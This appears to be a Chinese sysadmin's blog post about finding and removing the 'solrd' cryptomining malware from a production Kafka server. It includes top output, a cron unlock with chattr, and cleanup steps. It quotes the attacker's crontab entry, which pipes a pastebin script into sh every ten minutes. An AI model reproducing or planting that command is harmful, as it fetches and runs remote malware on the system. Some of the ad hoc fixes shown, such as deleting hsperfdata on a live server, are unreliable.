1、发现solrd病毒
端午节期间,kafka 服务器被黑客攻击了,植入了挖矿病毒 solrd,这个病毒很聪明,内存,CPU并没有异常升高,以致于上班第一天完全没有察觉。
上班第一天 正常登录服务器查看 flink ,消费kafka 服务有没有 挂掉,习惯性的使用了jps 如下:
[root@linuxdevname1 ~]# jps
26770 -- process information unavailable
5220 -- process information unavailable
23686 -- process information unavailable
32711 -- process information unavailable
6855 -- process information unavailable
28425 -- process information unavailable
2746 -- process information unavailable
1212 -- process information unavailable
17213 -- process information unavailable
6127 -- process information unavailable
process information unavailable 这使我很郁闷,此时还没有察觉 到病毒导致的,于是百度了一下 这些关键字 网上的大神都是说 删除 tmp 目录下hsperfdata_* 文件夹 rm -rf /tmp/hsperfdata_*
跟着一顿操作猛如虎
[root@linuxdevname1 tmp]# rm -rf hsperfdata_*
[root@linuxdevname1 tmp]# jps
19249 Jps
删除完成发现 所有进程都不见了,此时吓懵了,因为是现网,产线还有很多消息正在往kafka里写数据,。定眼一看,内存和CPU并没有下降,所以我判断 kafka 进程并没有挂掉,只是jps 不显示 而已
然后立马top -c 了一下
[root@linuxdevname1 ~]# top -c
top - 14:10:57 up 691 days, 21:18, 2 users, load average: 3.44, 2.83, 2.86
Tasks: 142 total, 3 running, 139 sleeping, 0 stopped, 0 zombie
%Cpu(s): 19.3 us, 33.2 sy, 0.0 ni, 47.2 id, 0.0 wa, 0.0 hi, 0.3 si, 0.0 st
KiB Mem : 16266156 total, 182660 free, 9594172 used, 6489324 buff/cache
KiB Swap: 1048572 total, 394220 free, 654352 used. 6326952 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
8688 root 20 0 2441092 2.3g 2904 S 0.0 14.7 2112:12 /tmp/.solr/solrd
26770 root 20 0 5948868 1.3g 7444 S 2.0 8.2 7558:51 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+
32711 root 20 0 5047692 1.2g 27912 S 1.0 8.0 55:51.95 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+
1212 root 20 0 4339052 795856 22812 S 1.0 4.9 55:10.81 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+
23686 root 20 0 4350936 724604 17792 S 0.0 4.5 684:53.55 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-log-dinc/prod/xc-streamservice-log-school-di-1+
28425 root 20 0 4341528 669972 18080 S 0.7 4.1 396:46.52 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/log-active-user-dinc/prod/xc-streamservice-school-+
17213 root 20 0 4284844 639256 18060 S 0.3 3.9 671:41.14 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-login-dinc/prod/xc-streamservice-log-school-lo+
6127 root 20 0 4735288 491552 11144 S 1.3 3.0 847:48.62 java -Xms512m -Xmx1024m -jar /xckj/bigdata/logservice/log-service-xc-2.0.0.jar
2746 root 20 0 7858880 430304 4440 S 0.7 2.6 3546:17 java -jar /usr/local/eduman/eduman-register/eduman-register.jar
6855 root 20 0 3858544 382308 5176 S 0.3 2.4 1106:22 /usr/local/jdk1.8.0_121/bin/java -Xmx512M -Xms512M -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:Initiat+
20686 root 10 -10 179020 48100 6488 R 9.0 0.3 2385:33 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor
15682 root 20 0 88564 39268 39052 S 0.7 0.2 8:49.44 /usr/lib/systemd/systemd-journald
882 root 20 0 734548 31488 28236 S 0.3 0.2 61:41.73 /usr/sbin/rsyslogd -n
20675 root 10 -10 115704 9468 4832 S 0.7 0.1 493:20.19 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDun
6117 root 20 0 158048 6404 4656 S 0.7 0.0 0:00.83 sshd: root@pts/0,pts/3
6556 root 20 0 118312 4804 1728 S 0.0 0.0 0:00.04 -bash
6186 root 20 0 118312 4764 1688 S 0.0 0.0 0:00.04 -bash
6809 root 10 -10 62140 4516 3080 S 0.0 0.0 102:09.96 /usr/local/aegis/aegis_update/AliYunDunUpdate
19053 root 20 0 118252 4448 1348 S 0.7 0.0 0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
874 root 20 0 574284 4316 232 S 0.0 0.0 106:25.59 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
5822 postfix 20 0 91968 4164 3144 S 0.0 0.0 0:00.09 pickup -l -t unix -u
19176 root 20 0 118252 3736 528 S 0.0 0.0 0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
19163 root 20 0 118252 3688 520 S 0.0 0.0 0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
19157 root 20 0 118252 3628 508 S 0.0 0.0 0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
19175 root 20 0 118252 3588 408 S 0.0 0.0 0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
19160 root 20 0 118252 3472 348 S 0.0 0.0 0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
19164 root 20 0 118252 3316 192 S 0.0 0.0 0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
1 root 20 0 125696 3176 1716 S 0.0 0.0 173:43.90 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
8464 root 20 0 162860 3112 1592 S 0.0 0.0 0:00.25 top
2342 root 20 0 163136 2968 1260 S 0.0 0.0 0:20.24 top
此时看到消费kafka 服务都还在,没有注意到第一行的 /tmp/.solr/solrd 病毒,此时它还没有占用多少CPU跟内存。没有太在意它
就在今天 查看某一个定时任务为什么没有执行的时候 发现 crontab 里面的定时任务被删除了,莫名其妙的多了一个不认识的定时调度任务 访问一个地址
[root@linuxdevname1 ~]# crontab -e
*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh
瞬时意识到 服务器被攻击了,立马注释 crontab 这条记录保存的时候发现 保持不了
[root@linuxdevname1 tmp]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.linuxdevname1.XXXXx0RbdC to /var/spool/cron/root
rename: 不允许的操作
crontab: edits left in /tmp/crontab.5Oev80
于是乎继续百度 发现是 /var/spool/cron 文件夹下的 root 文件被锁了 ,于是使用
chattr -a /etc/crontab
chattr -i /etc/crontab
解锁
[root@linuxdevname1 cron]# lsattr /var/spool/cron/
-----ia-------e-- /var/spool/cron/root
[root@linuxdevname1 cron]# chattr -i /var/spool/cron/
[root@linuxdevname1 cron]# chattr -a /var/spool/cron/
再次查看
[root@linuxdevname1 cron]# lsattr /var/spool/cron/
------------e-- /var/spool/cron/root
解锁完成后发现hosts 也被锁住了,里面的内容也被删除了,于是使用相同的办法解锁
解锁完成后,再编辑 crontab 终于可以修改保存了。
突然间发现内存和CPU异常升高,CPU 100%
使用top -c 命令 此时发现了CPU 118% 病毒 solrd (你小子隐藏的挺深啊,昨天都没在意你)
[root@linuxdevname1 ~]# top -c
top - 14:05:26 up 692 days, 21:13, 14 users, load average: 23.88, 19.97, 18.49
Tasks: 328 total, 25 running, 296 sleeping, 0 stopped, 7 zombie
%Cpu(s): 57.2 us, 42.6 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.2 si, 0.0 st
KiB Mem : 16266156 total, 3311844 free, 6375112 used, 6579200 buff/cache
KiB Swap: 1048572 total, 394232 free, 654340 used. 9545852 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
29242 root 20 0 2434376 1.4g 2784 S 118.0 8.8 0:35.39 /tmp/.solr/solrd
20686 root 10 -10 180048 49084 6444 R 8.8 0.3 2514:18 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor
1212 root 20 0 4339052 795680 22724 S 1.0 4.9 68:28.88 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+
1830 root 20 0 118252 4456 1348 S 1.0 0.0 0:00.03 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+
1833 root 20 0 118252 4456 1348 S 1.0 0.0 0:00.03 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
2548 root 20 0 118248 4452 1348 S 1.0 0.0 0:00.03 bash -c ps -HewO lstart ex
2932 root 20 0 118248 4464 1348 S 1.0 0.0 0:00.03 bash -c ps -HewO lstart ex
3458 root 20 0 158052 6540 4752 S 1.0 0.0 0:59.78 sshd: root@pts/14,pts/15
3519 root 20 0 118248 4292 1348 S 1.0 0.0 0:00.03 bash -c ls --color=never -l /proc/*/exe
3583 root 20 0 117720 4012 1344 S 1.0 0.0 0:00.03 bash -c ps -HewO lstart ex
8059 root 20 0 163300 3372 1608 S 1.0 0.0 0:45.08 top
23015 root 20 0 159012 7492 4656 S 1.0 0.0 1:57.77 sshd: root@pts/0,pts/3
26770 root 20 0 5948868 1.3g 7560 S 1.0 8.2 7576:11 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+
31668 root 20 0 163412 3468 1608 R 1.0 0.0 0:44.29 top
32711 root 20 0 5012824 1.2g 27848 S 1.0 7.9 89:48.80 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+
1597 root 20 0 118252 4460 1348 S 0.7 0.0 0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
1713 root 20 0 158048 6536 4752 S 0.7 0.0 1:02.47 sshd: root@pts/10,pts/11
1818 root 20 0 118248 4464 1348 S 0.7 0.0 0:00.02 bash -c ls --color=never -l /proc/*/exe
1831 root 20 0 118252 4460 1348 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+
1832 root 20 0 118248 4468 1348 S 0.7 0.0 0:00.02 bash -c ls --color=never -l /proc/*/exe
2229 root 20 0 118248 4468 1348 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex
2724 root 20 0 118252 4460 1348 S 0.7 0.0 0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
3517 root 20 0 118252 4456 1348 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex |grep -E "724|31751|725|904|1076|1597|1818|1830|1831|1832|1833|2229|2474|2548|31+
3693 root 20 0 118252 4448 1348 S 0.7 0.0 0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
3741 root 20 0 118248 4292 1348 S 0.7 0.0 0:00.02 bash -c ls --color=never -l /proc/*/exe
3743 root 20 0 118252 4452 1348 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|31999|904|1597|1818|1830|1831|1832|1833|2229|2548|2724|29+
4434 root 20 0 117724 4044 1348 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|904|1597|1818|1830|1831|1832|2229|2548|2724|293+
4435 root 20 0 117720 4040 1348 S 0.7 0.0 0:00.02 bash -c ls --color=never -l /proc/*/exe
4802 root 20 0 117720 4016 1344 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex
4852 root 20 0 117724 4040 1348 S 0.7 0.0 0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+
4885 root 20 0 158272 6844 4752 S 0.7 0.0 1:13.79 sshd: root@pts/4,pts/5
4933 root 20 0 117720 4012 1344 S 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|8059|23015|904|1597|1818|1830|1831|COMMAND"
4936 root 20 0 117720 4012 1344 S 0.7 0.0 0:00.02 bash -c ls --color=never -l /proc/*/exe
5042 root 20 0 117720 4016 1344 R 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex
5055 root 20 0 116532 2696 1340 R 0.7 0.0 0:00.02 bash -c ps -HewO lstart ex
8947 root 20 0 163296 3532 1608 S 0.7 0.0 0:39.86 top
13023 root 20 0 162412 2624 1680 R 0.7 0.0 0:00.15 top -c
16498 root 20 0 163300 3448 1608 S 0.7 0.0 0:38.02 top
17791 root 20 0 158056 6544 4752 S 0.7 0.0 1:08.38 sshd: root@pts/8,pts/9
于是乎,立马进行kill
[root@linuxdevname1 ~]# kill -9 29242
[root@linuxdevname1 ~]# ps -ef | grep solrd
root 13425 8575 99 14:06 ? 00:00:56 /tmp/.solr/solrd
root 18684 23073 0 14:07 pts/0 00:00:00 grep --color=auto solrd
刚kill 完成 再次top -c 发现这个病毒有换了一个进程的id 又起来了,试了几次都没用,于是 查到病毒执行的文件夹
[root@linuxdevname1 ~]# ps -ef | grep solrd
root 13425 8575 99 14:06 ? 00:00:56 /tmp/.solr/solrd
root 18684 23073 0 14:07 pts/0 00:00:00 grep --color=auto solrd
找到目录后,直接删除 rm -rf /tmp/.solr/solrd
然后 再kill 掉solrd 进程发现solrd 病毒 没有再起来了
CPU 内存对应的降到正常情况。
于是紧急关闭了阿里云出入防火墙其他不用的端口。